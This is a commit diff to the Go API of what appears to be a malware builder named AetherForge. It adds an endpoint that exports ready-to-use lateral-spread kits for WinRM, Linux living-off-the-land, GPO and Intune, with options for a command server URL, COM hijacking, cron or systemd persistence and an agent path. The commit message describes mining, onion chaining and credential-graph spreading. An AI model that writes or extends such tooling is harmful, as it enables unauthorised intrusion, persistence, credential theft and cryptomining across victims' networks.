Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -2,6 +2,7 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -139,6 +140,16 @@ type npmHelperExportRequest struct {
|
||||
Campaign string `json:"campaign"`
|
||||
}
|
||||
|
||||
type spreadTemplateExportRequest struct {
|
||||
Template string `json:"template"` // winrm | linux-lotl | gpo | intune
|
||||
ServerURL string `json:"server_url"`
|
||||
BuildID string `json:"build_id"`
|
||||
Campaign string `json:"campaign"`
|
||||
COMHijack bool `json:"com_hijack"`
|
||||
LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off
|
||||
AgentPath string `json:"agent_path"`
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/spread-kit-export
|
||||
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadKitExportRequest
|
||||
@@ -287,6 +298,87 @@ func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request)
|
||||
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/spread-template-export
|
||||
func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadTemplateExportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Template = strings.TrimSpace(strings.ToLower(req.Template))
|
||||
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
req.LOTLMode = strings.TrimSpace(req.LOTLMode)
|
||||
req.AgentPath = strings.TrimSpace(req.AgentPath)
|
||||
if req.ServerURL == "" {
|
||||
http.Error(w, "server_url required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Template == "" {
|
||||
http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
subdir, filename, err := spreadTemplatePaths(req.Template)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
||||
if _, err := os.Stat(templateDir); err != nil {
|
||||
http.Error(w, "spread template not found: "+subdir, http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
||||
comHijack := "false"
|
||||
if req.COMHijack {
|
||||
comHijack = "true"
|
||||
}
|
||||
lotlMode := req.LOTLMode
|
||||
if lotlMode == "" {
|
||||
lotlMode = "systemd_run_user"
|
||||
}
|
||||
agentPath := req.AgentPath
|
||||
if agentPath == "" {
|
||||
agentPath = `C:\ProgramData\AetherForge\worker.exe`
|
||||
}
|
||||
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": req.ServerURL,
|
||||
"{{BUILD_ID}}": req.BuildID,
|
||||
"{{CAMPAIGN}}": req.Campaign,
|
||||
"{{QUERY_SUFFIX}}": querySuffix,
|
||||
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
||||
"{{COM_HIJACK}}": comHijack,
|
||||
"{{LOTL_MODE}}": lotlMode,
|
||||
"{{AGENT_PATH}}": agentPath,
|
||||
}
|
||||
|
||||
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeZipAttachment(w, filename, data)
|
||||
}
|
||||
|
||||
func spreadTemplatePaths(template string) (subdir, zipName string, err error) {
|
||||
switch template {
|
||||
case "winrm":
|
||||
return "winrm", "aetherforge-winrm-bootstrap.zip", nil
|
||||
case "linux-lotl", "linux_lotl":
|
||||
return "linux", "aetherforge-linux-lotl.zip", nil
|
||||
case "gpo", "enterprise-gpo":
|
||||
return "enterprise", "aetherforge-gpo-startup.zip", nil
|
||||
case "intune", "enterprise-intune":
|
||||
return "enterprise", "aetherforge-intune-startup.zip", nil
|
||||
default:
|
||||
return "", "", fmt.Errorf("unknown template %q", template)
|
||||
}
|
||||
}
|
||||
|
||||
// PUT /api/v1/builds/{id}/public
|
||||
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
|
||||
Reference in New Issue
Block a user